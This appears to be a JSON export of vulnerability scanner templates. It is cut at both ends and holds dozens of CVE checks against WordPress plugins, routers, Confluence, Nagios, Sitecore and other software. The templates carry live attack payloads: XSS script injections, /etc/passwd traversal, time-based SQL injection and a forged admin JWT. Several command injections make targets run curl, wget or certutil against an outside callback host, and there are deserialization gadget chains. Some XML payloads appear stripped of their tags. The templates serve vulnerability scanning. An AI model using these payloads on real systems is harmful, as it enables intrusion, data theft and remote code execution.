{{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlat=%22%3E+%3Cscript%3E%2B-%2B-1-%2B-%2Balert%28document.domain%29%3C%2Fscript%3E&long=76.26730&lang=en&map_width=500&map_height=300&zoom=7&day_less_five_fare=2&day_more_five_fare=1.5&less_five_fare=3&more_five_fare=2.5&curr_format=%24&submit=Update+Settings\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"ab-google-map-travel\")"],"condition":"and"}]}]},{"id":"CVE-2015-5471","info":{"name":"Swim Team <= v1.44.10777 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-5688","info":{"name":"Geddy <13.0.8 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-3224","info":{"name":"Ruby on Rails Web Console - Remote Code Execution","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/{{randstr}}"],"headers":{"X-Forwarded-For":"::1"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Rails.root:","Action Controller: Exception caught"],"condition":"and"},{"type":"word","part":"response","words":["X-Web-Console-Session-Id","data-remote-path=","data-session-id="],"case-insensitive":true,"condition":"or"}]}]},{"id":"CVE-2015-7823","info":{"name":"Kentico CMS 8.2 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/CMSPages/GetDocLink.ashx?link=https://interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2015-2807","info":{"name":"Navis DocumentCloud <0.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/navis-documentcloud/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Navis","Tags:"],"condition":"and"}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2015-7297","info":{"name":"Joomla! Core SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2004-0519","info":{"name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2004-1965","info":{"name":"Open Bulletin Board (OpenBB) v1.0.6 - Open Redirect/XSS","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?redirect=http%3A%2F%2Fwww.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-20150","info":{"name":"Trendnet AC2600 TEW-827DRU - Credentials Disclosure","severity":"medium"},"requests":[{"raw":["POST /apply_sec.cgi HTTP/1.1\nHost: {{Hostname}}\n\naction=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ftp_username","ftp_password","ftp_permission","TEW-827DRU"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":[""],"part":"body"}]}]},{"id":"CVE-2021-21345","info":{"name":"XStream <1.4.16 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n \n 2\n \n \n \n \n \n \n \n \n com.sun.corba.se.impl.activation.ServerTableEntry\n \n \n \n \n com.sun.corba.se.impl.activation.ServerTableEntry\n verify\n \n \n \n \n \n \n \n \n \n \n \n true\n \n \n 1\n \n \n UTF-8\n \n \n \n \n \n \n curl http://{{interactsh-url}}\n \n \n \n \n \n \n \n \n \n 3\n javax.xml.ws.binding.attachments.inbound\n javax.xml.ws.binding.attachments.inbound\n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2021-24340","info":{"name":"WordPress Statistics <13.0.8 - Blind SQL Injection","severity":"high"},"requests":[{"raw":["GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 15s\nGET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 200","contains(body_1, \"WP Statistics\")"],"condition":"and"},{"type":"dsl","dsl":["duration_2>=7","status_code_2 == 500","contains(body_2, \">WordPress › Error<\") && contains(body_2, \">Your request is not valid.<\")"],"condition":"and"}]}]},{"id":"CVE-2021-26292","info":{"name":"AfterLogic Aurora and WebMail Pro < 7.7.9 - Full Path Disclosure","severity":"low"},"requests":[{"raw":["DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic Y2FsZGF2X3B1YmxpY191c2VyQGxvY2FsaG9zdDpjYWxkYXZfcHVibGljX3VzZXI\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["caldav_public_user","GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-29442","info":{"name":"Nacos <1.4.1 - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"regex","part":"body","regex":["\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-31755","info":{"name":"Tenda Router AC11 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /goform/setmac HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/index.htmlr\nContent-Type: application/x-www-form-urlencoded\n\nmodule1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2021-20137","info":{"name":"Gryphon Tower - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["onfocus=alert(document.domain) autofocus=1>","Send Access Request URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44910","info":{"name":"SpringBlade - Information Leakage","severity":"high"},"requests":[{"raw":["GET /api/blade-user/user-list HTTP/1.1\nHost: {{Hostname}}\nBlade-Auth: bearer {{bearer}}\n"],"payloads":{"bearer":["eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk","eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk","eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"success\":true","\"account\":","\"password\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24862","info":{"name":"WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_3, \"rm_user_role_mananger_form\")"],"condition":"and"}]}]},{"id":"CVE-2021-38751","info":{"name":"ExponentCMS <= 2.6 - Host Header Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"Host":"{{randstr}}.tld"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{randstr}}.tld","EXPONENT.PATH","EXPONENT.URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26086","info":{"name":"Atlassian Jira Limited - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42566","info":{"name":"myfactory FMS - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-45092","info":{"name":"Thinfinity Iframe Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/lab.html?vpath=//interact.sh"],"matchers":[{"type":"regex","regex":[".*vpath.*","thinfinity"],"condition":"and"}]}]},{"id":"CVE-2021-40960","info":{"name":"Galera WebTemplate 1.0 Directory Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/GallerySite/filesrc/fotoilan/388/middle//.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41192","info":{"name":"Redash Setup Configuration - Default Secrets Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs","{{BaseURL}}/redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Enter your new password:","redash"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25297","info":{"name":"Nagios 5.5.6-5.7.5 - Authenticated Remote Command Injection","severity":"high"},"requests":[{"raw":["GET /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /nagiosxi/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}\n","GET /nagiosxi/index.php HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 20s\nGET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=switch&ip_address=127.0.0.1%22%3b%20wget%20{{interactsh-url}}%3b&snmpopts%5bsnmpcommunity%5d=public&scaninterfaces=on HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body_4","words":["Ping","Switch Details"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nsp","group":1,"regex":["name=['\"]nsp['\"] value=['\"](.*)['\"]>"],"internal":true,"part":"body"},{"type":"regex","name":"nsp_auth","group":1,"regex":["var nsp_str = ['\"](.*)['\"];"],"internal":true,"part":"body"}]}]},{"id":"CVE-2021-32820","info":{"name":"Express-handlebars - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?layout=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","daemon:[x*]:0:0:","operator:[x*]:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26084","info":{"name":"Confluence Server - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /{{path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nqueryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb\n"],"payloads":{"path":["pages/createpage-entervariables.action?SpaceKey=x","pages/createpage-entervariables.action","confluence/pages/createpage-entervariables.action?SpaceKey=x","confluence/pages/createpage-entervariables.action","wiki/pages/createpage-entervariables.action?SpaceKey=x","wiki/pages/createpage-entervariables.action","pages/doenterpagevariables.action","pages/createpage.action?spaceKey=myproj","pages/templates2/viewpagetemplate.action","pages/createpage-entervariables.action","template/custom/content-editor","templates/editor-preload-container","users/user-dark-features"]},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"aaaa{140592=null}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24891","info":{"name":"WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/elementor/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","words":["Elementor Website Builder","Elementor Page Builder"],"internal":true}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '> 1.5.0', '< 3.1.4')"]},{"type":"regex","part":"body","regex":["elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)"],"internal":true},{"type":"kval","kval":["version"]}]}]},{"id":"CVE-2021-24155","info":{"name":"WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nContent-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921\n\n-----------------------------204200867127808062083805313921\nContent-Disposition: form-data; name=\"files[]\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------204200867127808062083805313921--\n","GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_3, '{\\\"success\\\":1}')","contains(body_4, 'CVE-2021-24155')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["BG_BACKUP_STRINGS = {\"nonce\":\"([0-9a-zA-Z]+)\"};"],"internal":true}]}]},{"id":"CVE-2021-45968","info":{"name":"Pascom CPS - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /services/pluginscript/ HTTP/1.1\nHost: {{Hostname}}\nGET /services/pluginscript/..;/..;/ HTTP/1.1\nHost: {{Hostname}}\nGET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 != status_code_1"],"condition":"and"}]}]},{"id":"CVE-2021-30134","info":{"name":"Php-mod/curl Library <2.3.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key="],"matchers-condition":"and","matchers":[{"type":"word","words":["key\":\"\""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-40970","info":{"name":"Spotweb <= 1.5.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /install.php?page=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsettingsform[username]=pdteam'+onclick='alert(document.domain)\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onclick='alert(document.domain)","Spotweb"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41826","info":{"name":"PlaceOS 1.2109.1 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/logout?continue=//interact.sh"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]},{"type":"status","status":[302,301],"condition":"or"}]}]},{"id":"CVE-2021-46417","info":{"name":"Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password="],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-22053","info":{"name":"Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"curl http://{{interactsh-url}}\")}__::.x/","{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"certutil -urlcache -split -f http://{{interactsh-url}}\")}__::.x/"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"regex","part":"interactsh_request","regex":["User-Agent: (curl|CertUtil)"]}]}]},{"id":"CVE-2021-24435","info":{"name":"WordPress Titan Framework plugin <= 1.12.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20onerror=alert(document.domain)%20b=%27","{{BaseURL}}/titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["(?i)(onerror=|onclick=)['\"]?alert\\(document\\.domain\\)['\"]?","

    Grumpy wizards make"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27309","info":{"name":"Clansphere CMS 2011.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">.php"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21799","info":{"name":"Advantech R-SeeNet 2.4.12 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Telnet "]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24237","info":{"name":"WordPress Realteo <=1.2.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["autofocus onfocus=alert(/{{randstr}}/);//","Nothing found"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-43496","info":{"name":"Clustering Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/img/../../../../../../etc/passwd"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2021-44515","info":{"name":"Zoho ManageEngine Desktop Central - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /STATE_ID/123/agentLogUploader HTTP/1.1\nHost: {{Hostname}}\nCookie: STATE_COOKIE=&_REQS/_TIME/123\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["len(body) == 0"]},{"type":"word","part":"header","words":["UEMJSESSIONID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25074","info":{"name":"WordPress WebP Converter for Media < 4.0.3 - Unauthenticated Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-40978","info":{"name":"MKdocs 1.2.2 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:[x*]:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42237","info":{"name":"Sitecore Experience Platform Pre-Auth RCE","severity":"critical"},"requests":[{"raw":["POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml\n\n\n\n \n foo\n \n \n \n 2\n \n <_comparison z:Id=\"4\" z:FactoryType=\"a:DelegateSerializationHolder\" z:Type=\"System.DelegateSerializationHolder\" z:Assembly=\"0\"\n xmlns=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\"\n xmlns:a=\"http://schemas.datacontract.org/2004/07/System\">\n \n mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n \n \n \n Compare\n \n \n System.String\n System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n \n Start\n \n System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n System.Diagnostics.Process\n System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\n \n \n \n \n \n System.Diagnostics.Process Start(System.String, System.String)\n System.Diagnostics.Process Start(System.String, System.String)\n 8\n \n \n \n \n \n \n Int32 Compare(System.String, System.String)\n System.Int32 Compare(System.String, System.String)\n 8\n \n 